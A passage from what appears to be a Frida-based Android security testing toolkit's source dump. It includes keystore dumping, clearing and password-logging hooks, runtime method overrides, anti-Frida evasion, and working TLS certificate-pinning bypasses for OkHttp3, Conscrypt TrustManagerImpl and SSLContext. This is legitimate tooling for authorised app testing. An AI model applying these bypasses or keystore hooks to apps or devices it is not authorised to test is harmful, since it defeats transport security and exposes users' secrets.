specific overload\n      if (filterOverload != null && calleeArgTypes.join(\",\") !== filterOverload) {\n        return;\n      }\n\n      send(`Hooking ${c.green(clazz)}.${c.greenBright(method)}(${c.red(calleeArgTypes.join(\", \"))})`);\n\n      // tslint:disable-next-line:only-arrow-functions\n      m.implementation = function () {\n        let retVal = m.apply(this, arguments);\n\n        // Override retval if needed\n        if (retVal !== newRet) {\n          send(\n            c.blackBright(`[${job.identifier}] `) + `Return value was not ${c.red(newRet.toString())}, ` +\n            `setting to ${c.green(newRet.toString())}.`,\n          );\n          // update the return value\n          retVal = newRet;\n        }\n        return retVal;\n      };\n\n      // record override\n      job.addImplementation(m);\n      \n    });\n\n    jobs.add(job);\n  });\n};\n"
  },
  {
    "path": "agent/src/android/intent.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport {\n  getApplicationContext,\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport { Intent, FridaOverload } from \"./lib/types.js\";\nimport { analyseIntent } from \"./lib/intentUtils.js\";\nimport * as jobs from \"../lib/jobs.js\";\nimport type { default as JavaTypes } from \"frida-java-bridge\";\n\n// https://developer.android.com/reference/android/content/Intent.html#FLAG_ACTIVITY_NEW_TASK\nconst FLAG_ACTIVITY_NEW_TASK = 0x10000000;\n\n// starts an Android activity\n// This method does not yet allow for 'extra' data to be send along\n// with the intent.\nexport const startActivity = (activityClass: string): Promise<void> => {\n  // -- Sample Java\n  //\n  // Intent intent = new Intent(this, DisplayMessageActivity.class);\n  // intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n  //\n  // startActivity(intent);\n  return wrapJavaPerform(() => {\n    const context = getApplicationContext();\n\n    // Setup a new Intent\n    const androidIntent: Intent = Java.use(\"android.content.Intent\");\n\n    // Get the Activity class's .class\n    const newActivity: JavaTypes.Wrapper = Java.use(activityClass).class;\n    send(`Starting activity ${c.green(activityClass)}...`);\n\n    // Init and launch the intent\n    const newIntent: Intent = androidIntent.$new(context, newActivity);\n    newIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);\n\n    context.startActivity(newIntent);\n    send(c.blackBright(`Activity successfully asked to start.`));\n  });\n};\n\n// starts an Android service\nexport const startService = (serviceClass: string): Promise<void> => {\n  // -- Sample Java\n  //\n  // Intent intent = new Intent(this, Service.class);\n  // intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n  //\n  // startService(intent);\n  return wrapJavaPerform(() => {\n    const context = getApplicationContext();\n\n    // Setup a new Intent\n    const androidIntent: Intent = Java.use(\"android.content.Intent\");\n\n    // Get the Activity class's .class\n    const newService: string = Java.use(serviceClass).$className;\n    send(`Starting service ${c.green(serviceClass)}...`);\n\n    // Init and launch the intent\n    const newIntent: Intent = androidIntent.$new(context, newService);\n    newIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);\n\n    context.startService(newIntent);\n    send(c.blackBright(`Service successfully asked to start.`));\n  });\n};\n\n// Analyzes and Detects Android Implicit Intents\n// https://developer.android.com/guide/components/intents-filters#Types\nexport const analyzeImplicits = (backtrace = false): Promise<void> => {\n\n  const job = new jobs.Job(jobs.identifier(),`implicit-intent-analyser`)\n  jobs.add(job)\n\n  return wrapJavaPerform(() => {\n    const classesToHook = [\n      { className: \"android.app.Activity\", methodName: \"startActivityForResult\" },\n      { className: \"android.app.Activity\", methodName: \"onActivityResult\" },\n      { className: \"androidx.activity.ComponentActivity\", methodName: \"onActivityResult\" },\n      { className: \"android.content.Context\", methodName: \"startActivity\" },\n      { className: \"android.content.BroadcastReceiver\", methodName: \"onReceive\" }\n      // Add other classes and methods as needed\n    ];\n\n    classesToHook.forEach(hook => {\n      try {\n        const clazz = Java.use(hook.className);\n        const method = clazz[hook.methodName];\n        method.overloads.forEach((overload: FridaOverload) => {\n          overload.implementation = function (...args: any[]): any {\n            args.forEach(arg => {\n              if (arg && arg.$className === \"android.content.Intent\") {\n                analyseIntent(`${hook.className}::${hook.methodName}`, arg, backtrace = backtrace);\n              }\n            });\n            return overload.apply(this, args);\n          };\n          job.addImplementation(overload);\n        });\n      } catch (e) {\n        send(`[-] Error hooking ${c.redBright(`${hook.className}.${hook.methodName}: ${e}`)}`);\n      }\n    });\n  });\n};"
  },
  {
    "path": "agent/src/android/keystore.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport {\n  IKeyStoreDetail,\n  IKeyStoreEntry\n} from \"./lib/interfaces.js\";\nimport { \n  wrapJavaPerform, \n  Java \n} from \"./lib/libjava.js\";\nimport {\n  KeyFactory,\n  KeyInfo,\n  KeyStore,\n  SecretKeyFactory\n} from \"./lib/types.js\";\nimport * as jobs from \"../lib/jobs.js\";\n\n// Dump entries in the Android Keystore, together with a flag\n// indicating if its a key or a certificate.\n//\n// Ref: https://developer.android.com/reference/java/security/KeyStore.html\nexport const list = (): Promise<IKeyStoreEntry[]> => {\n  // - Sample Java\n  //\n  // KeyStore ks = KeyStore.getInstance(\"AndroidKeyStore\");\n  // ks.load(null);\n  // Enumeration<String> aliases = ks.aliases();\n  //\n  // while(aliases.hasMoreElements()) {\n  //     Log.e(\"E\", \"Aliases = \" + aliases.nextElement());\n  // }\n  return wrapJavaPerform(() => {\n    const keyStore: KeyStore = Java.use(\"java.security.KeyStore\");\n    const entries: IKeyStoreEntry[] = [];\n\n    // Prepare the AndroidKeyStore keystore provider and load it.\n    // Maybe at a later stage we should support adding other stores\n    // like from file or JKS.\n    const ks: KeyStore = keyStore.getInstance(\"AndroidKeyStore\");\n    ks.load(null, null);\n\n    // Get the aliases and loop through them. The aliases() method\n    // return an Enumeration<String> type.\n    const aliases = ks.aliases();\n    while (aliases.hasMoreElements()) {\n      const alias = aliases.nextElement();\n\n      entries.push({\n        alias: alias.toString(),\n        is_certificate: ks.isCertificateEntry(alias),\n        is_key: ks.isKeyEntry(alias),\n      });\n    }\n\n    return entries;\n  });\n};\n\n// Dump detailed information about keystore entries per alias.\n//\n// Refs:\n//  https://labs.f-secure.com/blog/how-secure-is-your-android-keystore-authentication\n//  https://github.com/FSecureLABS/android-keystore-audit\nexport const detail = (): Promise<IKeyStoreDetail[]> => {\n\n  // helper function to extract  keystore alias information\n  const keystore_info = (alias): IKeyStoreDetail => {\n    const r: IKeyStoreDetail = {};\n\n    wrapJavaPerform(() => {\n      // java class handles\n      const keyStore: KeyStore = Java.use('java.security.KeyStore');\n      const keyFactory: KeyFactory = Java.use('java.security.KeyFactory');\n      const keyInfo: KeyInfo = Java.use('android.security.keystore.KeyInfo');\n      const keySecretKeyFactory: SecretKeyFactory = Java.use('javax.crypto.SecretKeyFactory');\n\n      // load the keystore entry\n      const keyStoreObj = keyStore.getInstance('AndroidKeyStore');\n      keyStoreObj.load(null);\n      const key = keyStoreObj.getKey(alias, null);\n      if (key == null) return null;\n\n      let keySpec = null;\n      try {\n        keySpec = keyFactory.getInstance(key.getAlgorithm(), 'AndroidKeyStore')\n          .getKeySpec(key, keyInfo.class);\n      } catch (err) {\n        keySpec = keySecretKeyFactory.getInstance(key.getAlgorithm(), 'AndroidKeyStore')\n          .getKeySpec(key, keyInfo.class);\n      }\n\n      // set result fields\n      r.keyAlgorithm = key.getAlgorithm();\n      r.keySize = keyInfo['getKeySize'].call(keySpec);\n      r.blockModes = keyInfo['getBlockModes'].call(keySpec);\n      r.digests = keyInfo['getDigests'].call(keySpec);\n      r.encryptionPaddings = keyInfo['getEncryptionPaddings'].call(keySpec);\n      r.keyValidityForConsumptionEnd = keyInfo['getKeyValidityForConsumptionEnd'].call(keySpec);\n      r.keyValidityForOriginationEnd = keyInfo['getKeyValidityForOriginationEnd'].call(keySpec);\n      r.keyValidityStart = keyInfo['getKeyValidityStart'].call(keySpec);\n      r.keystoreAlias = keyInfo['getKeystoreAlias'].call(keySpec);\n      r.origin = keyInfo['getOrigin'].call(keySpec);\n      r.purposes = keyInfo['getPurposes'].call(keySpec);\n      r.signaturePaddings = keyInfo['getSignaturePaddings'].call(keySpec);\n      r.userAuthenticationValidityDurationSeconds = keyInfo['getUserAuthenticationValidityDurationSeconds'].call(keySpec);\n      r.isInsideSecureHardware = keyInfo['isInsideSecureHardware'].call(keySpec);\n      r.isInvalidatedByBiometricEnrollment = keyInfo['isInvalidatedByBiometricEnrollment'].call(keySpec);\n      r.isUserAuthenticationRequired = keyInfo['isUserAuthenticationRequired'].call(keySpec);\n      r.isUserAuthenticationRequirementEnforcedBySecureHardware = keyInfo['isUserAuthenticationRequirementEnforcedBySecureHardware'].call(keySpec);\n      r.isUserAuthenticationValidWhileOnBody = keyInfo['isUserAuthenticationValidWhileOnBody'].call(keySpec);\n\n      // \"crashy\" calls that's ok if they fail\n      try {\n        r.isTrustedUserPresenceRequired = keyInfo['isTrustedUserPresenceRequired'].call(keySpec);\n      } catch (err) { }\n      try {\n        r.isUserConfirmationRequired = keyInfo['isUserConfirmationRequired'].call(keySpec);\n      } catch (err) { }\n\n      // translate some values to string representation if they are not empty\n      if (r.keyValidityForConsumptionEnd != null)\n        r.keyValidityForConsumptionEnd = r.keyValidityForConsumptionEnd.toString();\n      if (r.keyValidityForOriginationEnd != null)\n        r.keyValidityForOriginationEnd = r.keyValidityForOriginationEnd.toString();\n      if (r.keyValidityStart != null)\n        r.keyValidityStart = r.keyValidityStart.toString();\n    });\n\n    return r;\n  };\n\n  return wrapJavaPerform((): IKeyStoreDetail[] => {\n    const keyStore: KeyStore = Java.use(\"java.security.KeyStore\");\n    const ks: KeyStore = keyStore.getInstance(\"AndroidKeyStore\");\n    ks.load(null, null);\n\n    const aliases = ks.aliases();\n    const info: IKeyStoreDetail[] = [];\n\n    while (aliases.hasMoreElements()) {\n      var a = aliases.nextElement();\n      info.push(keystore_info(a.toString()));\n    }\n\n    return info;\n  });\n};\n\n// Delete all entries in the Android Keystore\n//\n// Ref: https://developer.android.com/reference/java/security/KeyStore.html#deleteEntry(java.lang.String)\nexport const clear = () => {\n  // - Sample Java\n  //\n  // KeyStore ks = KeyStore.getInstance(\"AndroidKeyStore\");\n  // ks.load(null);\n  // Enumeration<String> aliases = ks.aliases();\n  //\n  // while(aliases.hasMoreElements()) {\n  //     ks.deleteEntry(aliases.nextElement());\n  // }\n  return wrapJavaPerform(() => {\n    const keyStore: KeyStore = Java.use(\"java.security.KeyStore\");\n\n    // Prepare the AndroidKeyStore keystore provider and load it.\n    // Maybe at a later stage we should support adding other stores\n    // like from file or JKS.\n    const ks: KeyStore = keyStore.getInstance(\"AndroidKeyStore\");\n    ks.load(null, null);\n\n    // Get the aliases and loop through them. The aliases() method\n    // return an Enumeration<String> type.\n    const aliases = ks.aliases();\n    while (aliases.hasMoreElements()) {\n      ks.deleteEntry(aliases.nextElement());\n    }\n\n    send(c.blackBright(`Keystore entries cleared`));\n  });\n};\n\n// keystore watch methods\n\n// Watch for KeyStore.load();\n// TODO: Store the keystores themselves maybe?\nconst keystoreLoad = (ident: number): Promise<any> => {\n  return wrapJavaPerform(() => {\n    const ks: KeyStore = Java.use(\"java.security.KeyStore\");\n    const ksLoad = ks.load.overload(\"java.io.InputStream\", \"[C\");\n    send(c.blackBright(`[${ident}] Watching Keystore.load(\"java.io.InputStream\", \"[C\")`));\n\n    ksLoad.implementation = function (stream, password) {\n      send(c.blackBright(`[${ident}] `) +\n        `Keystore.load(${c.greenBright(stream)}, ${c.redBright(password || `null`)}) ` +\n        `called, loading a ${c.cyanBright(this.getType())} keystore.`);\n      return this.load(stream, password);\n    };\n\n    return ksLoad\n  });\n};\n\n// Watch for Keystore.getKey().\n// TODO: Extract more information, like the key itself maybe?\nconst keystoreGetKey = (ident: number): Promise<any> => {\n  return wrapJavaPerform(() => {\n    const ks: KeyStore = Java.use(\"java.security.KeyStore\");\n    const ksGetKey = ks.getKey.overload(\"java.lang.String\", \"[C\");\n    send(c.blackBright(`[${ident}] Watching Keystore.getKey(\"java.lang.String\", \"[C\")`));\n\n    ksGetKey.implementation = function (alias, password) {\n      const key = this.getKey(alias, password);\n      send(c.blackBright(`[${ident}] `) +\n        `Keystore.getKey(${c.greenBright(alias)}, ${c.redBright(password || `null`)}) ` +\n        `called, returning a ${c.greenBright(key.$className)} instance.`);\n      return key;\n    };\n\n    return ksGetKey;\n  });\n};\n\n// Android KeyStore watcher.\n// Many, many more methods can be added here..\nexport const watchKeystore = async (): Promise<void> =>  {\n  const job: jobs.Job = new jobs.Job(jobs.identifier(), \"android-keystore-watch\");\n\n  job.addImplementation(await keystoreLoad(job.identifier));\n  job.addImplementation(await keystoreGetKey(job.identifier));\n  \n  jobs.add(job);\n};\n"
  },
  {
    "path": "agent/src/android/lib/intentUtils.ts",
    "content": "import { Java } from \"./libjava.js\";\nimport { colors as c } from \"../../lib/color.js\";\n\nexport const analyseIntent = (methodName: string, intent: any, backtrace: boolean = false): void => {\n  try {\n    send(`\\nAnalyzing Intent from: ${c.green(`${methodName}`)}`);\n\n    // Get Component\n    const component = intent.getComponent();\n    if (component) {\n      send(`[-] ${c.green('Intent Type: Explicit Intent')}`);\n    } else {\n      send(`[+] ${c.redBright('Intent Type: Implicit Intent Detected!')}`);\n      if (backtrace) {\n        send(\n          Java.use('android.util.Log')\n            .getStackTraceString(Java.use('java.lang.Exception').$new())\n        )\n      }\n\n      // Log intent details\n      send(`[+] Action: ${`${c.green(`${intent.getAction()}`)}` || `${c.redBright(`[None]`)}`}`);\n      send(`[+] Data URI: ${`${c.green(`${intent.getDataString()}`)}` || `${c.redBright(`[None]`)}`}`);\n      send(`[+] Type: ${`${c.green(`${intent.getType()}`)}` || `${c.redBright(`[None]`)}`}`);\n      send(`[+] Flags: ${c.green(`0x${intent.getFlags().toString(16)}`)}`);\n\n      // Categories\n      const categories = intent.getCategories();\n      if (categories) {\n        send(\"\\n[+] Categories:\");\n        const iterator = categories.iterator();\n        while (iterator.hasNext()) {\n          send(`[+] Category: ${c.green(`${iterator.next()}`)} `);\n        }\n      } else {\n        send(`[-] Category: ${`${c.redBright(`[None]`)}`}`);\n      }\n\n      // Extras\n      const extras = intent.getExtras();\n      if (extras) {\n        send(`[+] Extras: ${c.green(`${extras}`)}`);\n      } else {\n        send(`[-] Extras: ${`${c.redBright(`[None]`)}`}`);\n      }\n\n      // Resolving implicit intents\n      const activityContext = Java.use(\"android.app.ActivityThread\").currentApplication().getApplicationContext();\n      if (activityContext) {\n        const packageManager = activityContext.getPackageManager();\n        const resolveInfoList = packageManager.queryIntentActivities(intent, Java.use(\"android.content.pm.PackageManager\").MATCH_ALL.value);\n\n        send(\"[+] Responding apps:\");\n        for (let i = 0; i < resolveInfoList.size(); i++) {\n          const resolveInfo = resolveInfoList.get(i);\n          send(`[*] Resolve Info List at position ${i}: ${c.green(`${resolveInfo.toString()}`)}`);\n        }\n      } else {\n        send(\"[-] No activity context available\");\n      }\n\n    }\n  } catch (e) {\n    send(`[!] Error analyzing intent: ${e}`);\n  }\n};\n"
  },
  {
    "path": "agent/src/android/lib/interfaces.ts",
    "content": "import type { default as JavaTypes } from \"frida-java-bridge\";\n\nexport interface IAndroidFilesystem {\n  files: any;\n  path: string;\n  readable: boolean;\n  writable: boolean;\n}\n\nexport interface IExecutedCommand {\n  command: string;\n  stdOut: string;\n  stdErr: string;\n}\n\nexport interface IKeyStoreEntry {\n  alias: string;\n  is_certificate: boolean;\n  is_key: boolean;\n}\n\nexport interface ICurrentActivityFragment {\n  activivity: string | null;\n  fragment: string | null;\n}\n\nexport interface IHeapClassDictionary {\n  [index: string]: IHeapObject[];\n}\n\nexport interface IHeapObject {\n  hashcode: number;\n  instance: JavaTypes.Wrapper;\n}\n\nexport interface IHeapNormalised {\n  hashcode: number;\n  classname: string;\n  tostring: string;\n}\n\nexport interface IJavaField {\n  name: string;\n  value: string;\n}\n\nexport interface IKeyStoreDetail {\n  keyAlgorithm?: string;\n  keySize?: string;\n  blockModes?: string;\n  digests?: string;\n  encryptionPaddings?: string;\n  keyValidityForConsumptionEnd?: string;\n  keyValidityForOriginationEnd?: string;\n  keyValidityStart?: string;\n  keystoreAlias?: string;\n  origin?: string;\n  purposes?: string;\n  signaturePaddings?: string;\n  userAuthenticationValidityDurationSeconds?: string;\n  isInsideSecureHardware?: string;\n  isInvalidatedByBiometricEnrollment?: string;\n  isUserAuthenticationRequired?: string;\n  isUserAuthenticationRequirementEnforcedBySecureHardware?: string;\n  isUserAuthenticationValidWhileOnBody?: string;\n  // \"crashy\" fields\n  isTrustedUserPresenceRequired?: string;\n  isUserConfirmationRequired?: string;\n}"
  },
  {
    "path": "agent/src/android/lib/libjava.ts",
    "content": "import Java_bridge from \"frida-java-bridge\";\nimport { colors as c } from \"../../lib/color.js\";\n\nlet Java: typeof Java_bridge;\n// Compatibility with frida < 17\nif (globalThis.Java) {\n  send(c.blackBright(\"Pre-v17 version of Frida detected. Attempting to use old bridge interface.\"))\n  Java = globalThis.Java   \n} else {\n  Java = Java_bridge\n}\n\nexport { Java }\n\n// all Java calls need to be wrapped in a Java.perform().\n// this helper just wraps that into a Promise that the\n// rpc export will sniff and resolve before returning\n// the result when its ready.\nexport const wrapJavaPerform = (fn: any): Promise<any> => {\n  return new Promise((resolve, reject) => {\n    Java.perform(() => {\n      try {\n        resolve(fn());\n      } catch (e) {\n        reject(e);\n      }\n    });\n  });\n};\n\nexport const getApplicationContext = (): any => {\n  const ActivityThread = Java.use(\"android.app.ActivityThread\");\n  const currentApplication = ActivityThread.currentApplication();\n\n  return currentApplication.getApplicationContext();\n};\n\n// A helper method to access the R class for the app.\n// Typical usage within an app would be something like:\n//  R.id.content_frame.\n//\n// Using this method, the above example would be:\n//  R(\"content_frame\", \"id\")\nexport const R = (name: string, type: string): any => {\n  const context = getApplicationContext();\n  // https://github.com/bitpay/android-sdk/issues/14#issue-202495610\n  return context.getResources().getIdentifier(name, type, context.getPackageName());\n};\n"
  },
  {
    "path": "agent/src/android/lib/types.ts",
    "content": "export type JavaClass = any;\n\nexport type JavaMethodsOverloadsResult = any;\n\nexport type ClipboardManager = JavaClass | any;\nexport type File = JavaClass | any;\nexport type Throwable = JavaClass | any;\nexport type PackageManager = JavaClass | any;\nexport type ArrayMap = JavaClass | any;\nexport type ActivityThread = JavaClass | any;\nexport type Intent = JavaClass | any;\nexport type KeyStore = JavaClass | any;\nexport type KeyFactory = JavaClass | any;\nexport type KeyInfo = JavaClass | any;\nexport type SecretKeyFactory = JavaClass | any;\nexport type X509TrustManager = JavaClass | any;\nexport type SSLContext = JavaClass | any;\nexport type CertificatePinner = JavaClass | any;\nexport type PinningTrustManager = JavaClass | any;\nexport type SSLCertificateChecker = JavaClass | any;\nexport type TrustManagerImpl = JavaClass | any;\nexport type ArrayList = JavaClass | any;\nexport type JavaString = JavaClass | any;\nexport type Runtime = JavaClass | any;\nexport type IOException = JavaClass | any;\nexport type InputStreamReader = JavaClass | any;\nexport type BufferedReader = JavaClass | any;\nexport type StringBuilder = JavaClass | any;\nexport type Activity = JavaClass | any;\nexport type ActivityClientRecord = JavaClass | any;\nexport type Bitmap = JavaClass | any;\nexport type ByteArrayOutputStream = JavaClass | any;\nexport type CompressFormat = JavaClass | any;\nexport type FridaOverload = {\n  implementation: (...args: any[]) => any;\n  apply: (thisArg: any, args: any[]) => any;\n};"
  },
  {
    "path": "agent/src/android/monitor.ts",
    "content": "import { wrapJavaPerform } from \"./lib/libjava.js\";\n\nexport namespace monitor {\n  export const stringCanary = (can: string): Promise<void> => {\n    return wrapJavaPerform(() => {\n\n    });\n  };\n}\n"
  },
  {
    "path": "agent/src/android/pinning.ts",
    "content": "import { colors as c } from \"../lib/color.js\";\nimport { qsend } from \"../lib/helpers.js\";\nimport * as jobs from \"../lib/jobs.js\";\nimport {\n  wrapJavaPerform,\n  Java\n} from \"./lib/libjava.js\";\nimport {\n  ArrayList,\n  CertificatePinner,\n  PinningTrustManager,\n  SSLCertificateChecker,\n  SSLContext,\n  TrustManagerImpl,\n  X509TrustManager,\n} from \"./lib/types.js\";\n\n\n// a simple flag to control if we should be quiet or not\nlet quiet: boolean = false;\n\nconst sslContextEmptyTrustManager = (ident: number): Promise<any> => {\n  // -- Sample Java\n  //\n  // \"Generic\" TrustManager Example\n  //\n  // TrustManager[] trustAllCerts = new TrustManager[] {\n  //     new X509TrustManager() {\n  //         public java.security.cert.X509Certificate[] getAcceptedIssuers() {\n  //             return null;\n  //         }\n  //         public void checkClientTrusted(X509Certificate[] certs, String authType) {  }\n  //         public void checkServerTrusted(X509Certificate[] certs, String authType) {  }\n  //     }\n  // };\n  // SSLContext sslcontect = SSLContext.getInstance(\"TLS\");\n  // sslcontect.init(null, trustAllCerts, null);\n  return wrapJavaPerform(() => {\n    const x509TrustManager: X509TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\");\n    const sSLContext: SSLContext = Java.use(\"javax.net.ssl.SSLContext\");\n\n    // Some 'anti-frida' detections will scan /proc/<pid>/maps.\n    // Rename the tempFileNaming prefix as this could end up in maps.\n    // https://github.com/frida/frida-java-bridge/blob/8b3790f7489ff5be7b19ddaccf5149d4e7738460/lib/class-factory.js#L94\n    if (Java.classFactory.tempFileNaming.prefix == 'frida') {\n      Java.classFactory.tempFileNaming.prefix = 'onetwothree';\n    }\n\n    // Implement a new TrustManager\n    // ref: https://gist.github.com/oleavr/3ca67a173ff7d207c6b8c3b0ca65a9d8\n    const TrustManager: X509TrustManager = Java.registerClass({\n      implements: [x509TrustManager],\n      methods: {\n        // tslint:disable-next-line:no-empty\n        checkClientTrusted(chain, authType) { },\n        // tslint:disable-next-line:no-empty\n        checkServerTrusted(chain, authType) { },\n        getAcceptedIssuers() {\n          return [];\n        },\n      },\n      name: \"com.sensepost.test.TrustManager\",\n    });\n\n    // Prepare the TrustManagers array to pass to SSLContext.init()\n    const TrustManagers: X509TrustManager[] = [TrustManager.$new()];\n    send(c.blackBright(\"Custom TrustManager ready, overriding SSLContext.init()\"));\n\n    // Get a handle on the init() on the SSLContext class\n    const SSLContextInit = sSLContext.init.overload(\n      \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\");\n\n    // Override the init method, specifying our new TrustManager\n    SSLContextInit.implementation = function (keyManager, trustManager, secureRandom) {\n      qsend(quiet,\n        c.blackBright(`[${ident}] `) + `Called ` +\n        c.green(`SSLContext.init()`) +\n        `, overriding TrustManager with empty one.`,\n      );\n\n      SSLContextInit.call(this, keyManager, TrustManagers, secureRandom);\n    };\n\n    return SSLContextInit;\n  });\n};\n\nconst okHttp3CertificatePinnerCheck = (ident: number): Promise<any | undefined> => {\n  // -- Sample Java\n  //\n  // Example used to test this bypass.\n  //\n  // String hostname = \"swapi.co\";\n  // CertificatePinner certificatePinner = new CertificatePinner.Builder()\n  //         .add(hostname, \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\")\n  //         .build();\n  // OkHttpClient client = new OkHttpClient.Builder()\n  //         .certificatePinner(certificatePinner)\n  //         .build();\n  // Request request = new Request.Builder()\n  //         .url(\"https://swapi.co/api/people/1\")\n  //         .build();\n  // Response response = client.newCall(request).execute();\n  return wrapJavaPerform(() => {\n    try {\n      const certificatePinner: CertificatePinner = Java.use(\"okhttp3.CertificatePinner\");\n      send(c.blackBright(`Found okhttp3.CertificatePinner, overriding CertificatePinner.check()`));\n\n      if(!certificatePinner.check) {\n        return null;\n      }\n\n      const CertificatePinnerCheck = certificatePinner.check.overload(\"java.lang.String\", \"java.util.List\");\n\n      // tslint:disable-next-line:only-arrow-functions\n      CertificatePinnerCheck.implementation = function () {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `Called ` +\n          c.green(`OkHTTP 3.x CertificatePinner.check()`) +\n          `, not throwing an exception.`,\n        );\n      };\n\n      return CertificatePinnerCheck;\n\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") !== 0) {\n        throw err;\n      }\n      return null;\n    }\n  });\n};\n\nconst okHttp3CertificatePinnerCheckOkHttp = (ident: number): Promise<any | undefined> => {\n  // -- Sample Java\n  //\n  // Example used to test this bypass.\n  //\n  // String hostname = \"swapi.co\";\n  // CertificatePinner certificatePinner = new CertificatePinner.Builder()\n  //         .add(hostname, \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\")\n  //         .build();\n  // OkHttpClient client = new OkHttpClient.Builder()\n  //         .certificatePinner(certificatePinner)\n  //         .build();\n  // Request request = new Request.Builder()\n  //         .url(\"https://swapi.co/api/people/1\")\n  //         .build();\n  // Response response = client.newCall(request).execute();\n  return wrapJavaPerform(() => {\n    try {\n      const certificatePinner: CertificatePinner = Java.use(\"okhttp3.CertificatePinner\");\n\n      if(!certificatePinner.check$okhttp) {\n        return null;\n      }\n      \n      send(c.blackBright(`Found okhttp3.CertificatePinner, overriding CertificatePinner.check$okhttp()`));\n\n      const CertificatePinnerCheckOkHttp = certificatePinner.check$okhttp.overload(\"java.lang.String\", \"u15\");\n\n      // tslint:disable-next-line:only-arrow-functions\n      CertificatePinnerCheckOkHttp.implementation = function () {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `Called check$okhttp ` +\n          c.green(`OkHTTP 3.x CertificatePinner.check$okhttp()`) +\n          `, not throwing an exception.`,\n        );\n      };\n\n      return CertificatePinnerCheckOkHttp;\n\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") !== 0) {\n        throw err;\n      }\n      return null;\n    }\n  });\n};\n\nconst appceleratorTitaniumPinningTrustManager = (ident: number): Promise<any | undefined> => {\n  return wrapJavaPerform(() => {\n    try {\n      const pinningTrustManager: PinningTrustManager = Java.use(\"appcelerator.https.PinningTrustManager\");\n      const PinningTrustManagerCheckServerTrusted = pinningTrustManager.checkServerTrusted;\n\n      if(!PinningTrustManagerCheckServerTrusted) {\n        return null;\n      }\n\n      send(\n        c.blackBright(`Found appcelerator.https.PinningTrustManager, ` +\n          `overriding PinningTrustManager.checkServerTrusted()`),\n      );\n\n\n      // tslint:disable-next-line:only-arrow-functions\n      PinningTrustManagerCheckServerTrusted.implementation = function () {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `Called ` +\n          c.green(`PinningTrustManager.checkServerTrusted()`) +\n          `, not throwing an exception.`,\n        );\n      };\n\n      return PinningTrustManagerCheckServerTrusted;\n\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") !== 0) {\n        throw err;\n      }\n      return null;\n    }\n  });\n};\n\n// Android 7+ TrustManagerImpl.verifyChain()\n// The work in the following NCC blog post was a great help for this hook!\n// hattip @AdriVillaB :)\n// https://www.nccgroup.trust/uk/about-us/newsroom-and-events/\n//  blogs/2017/november/bypassing-androids-network-security-configuration/\n//\n// More information: https://sensepost.com/blog/2018/tip-toeing-past-android-7s-network-security-configuration/\nconst trustManagerImplVerifyChainCheck = (ident: number): Promise<any> => {\n  return wrapJavaPerform(() => {\n    try {\n      const trustManagerImpl: TrustManagerImpl = Java.use(\"com.android.org.conscrypt.TrustManagerImpl\");\n\n      // https://github.com/google/conscrypt/blob/c88f9f55a523f128f0e4dace76a34724bfa1e88c/\n      //  platform/src/main/java/org/conscrypt/TrustManagerImpl.java#L650\n      const TrustManagerImplverifyChain = trustManagerImpl.verifyChain;\n\n      if((!TrustManagerImplverifyChain)) {\n        return null;\n      }\n\n       send(\n        c.blackBright(`Found com.android.org.conscrypt.TrustManagerImpl, ` +\n          `overriding TrustManagerImpl.verifyChain()`),\n      );\n\n\n      // tslint:disable-next-line:only-arrow-functions\n      TrustManagerImplverifyChain.implementation = function (untrustedChain, trustAnchorChain,\n        host, clientAuth, ocspData, tlsSctData) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `Called (Android 7+) ` +\n          c.green(`TrustManagerImpl.verifyChain()`) + `, not throwing an exception.`,\n        );\n\n        // Skip all the logic and just return the chain again :P\n        return untrustedChain;\n      };\n\n      return TrustManagerImplverifyChain;\n\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") !== 0) {\n        throw err;\n      }\n      return null;\n    }\n  });\n};\n\n// Android 7+ TrustManagerImpl.checkTrustedRecursive()\n// The work in the following method is based on:\n// https://techblog.mediaservice.net/2018/11/universal-android-ssl-pinning-bypass-2/\nconst trustManagerImplCheckTrustedRecursiveCheck = (ident: number): Promise<any> => {\n  return wrapJavaPerform(() => {\n    try {\n      const arrayList: ArrayList = Java.use(\"java.util.ArrayList\");\n      const trustManagerImpl: TrustManagerImpl = Java.use(\"com.android.org.conscrypt.TrustManagerImpl\");\n      \n      if(!trustManagerImpl.checkTrustedRecursive) {\n        return null;\n      }\n\n      // https://android.googlesource.com/platform/external/conscrypt/+/1186465/src/\n      //  platform/java/org/conscrypt/TrustManagerImpl.java#391\n      const TrustManagerImplcheckTrustedRecursive = trustManagerImpl.checkTrustedRecursive;\n      send(\n        c.blackBright(`Found com.android.org.conscrypt.TrustManagerImpl, ` +\n          `overriding TrustManagerImpl.checkTrustedRecursive()`),\n      );\n\n      // tslint:disable-next-line:only-arrow-functions\n      TrustManagerImplcheckTrustedRecursive.implementation = function (certs, host, clientAuth, untrustedChain,\n        trustAnchorChain, used) {\n        qsend(quiet,\n          c.blackBright(`[${ident}] `) + `Called (Android 7+) ` +\n          c.green(`TrustManagerImpl.checkTrustedRecursive()`) + `, not throwing an exception.`,\n        );\n\n        // Return an empty list\n        return arrayList.$new();\n      };\n\n      return TrustManagerImplcheckTrustedRecursive;\n\n    } catch (err) {\n      if ((err as Error).message.indexOf(\"java.lang.ClassNotFoundException\") !== 0) {\n        throw err;\n      }\n      return null;\n    }\n  });\n};\n\nconst phoneGapSSLCertificateChecker = (ident: number): Promise<any> => {\n  return 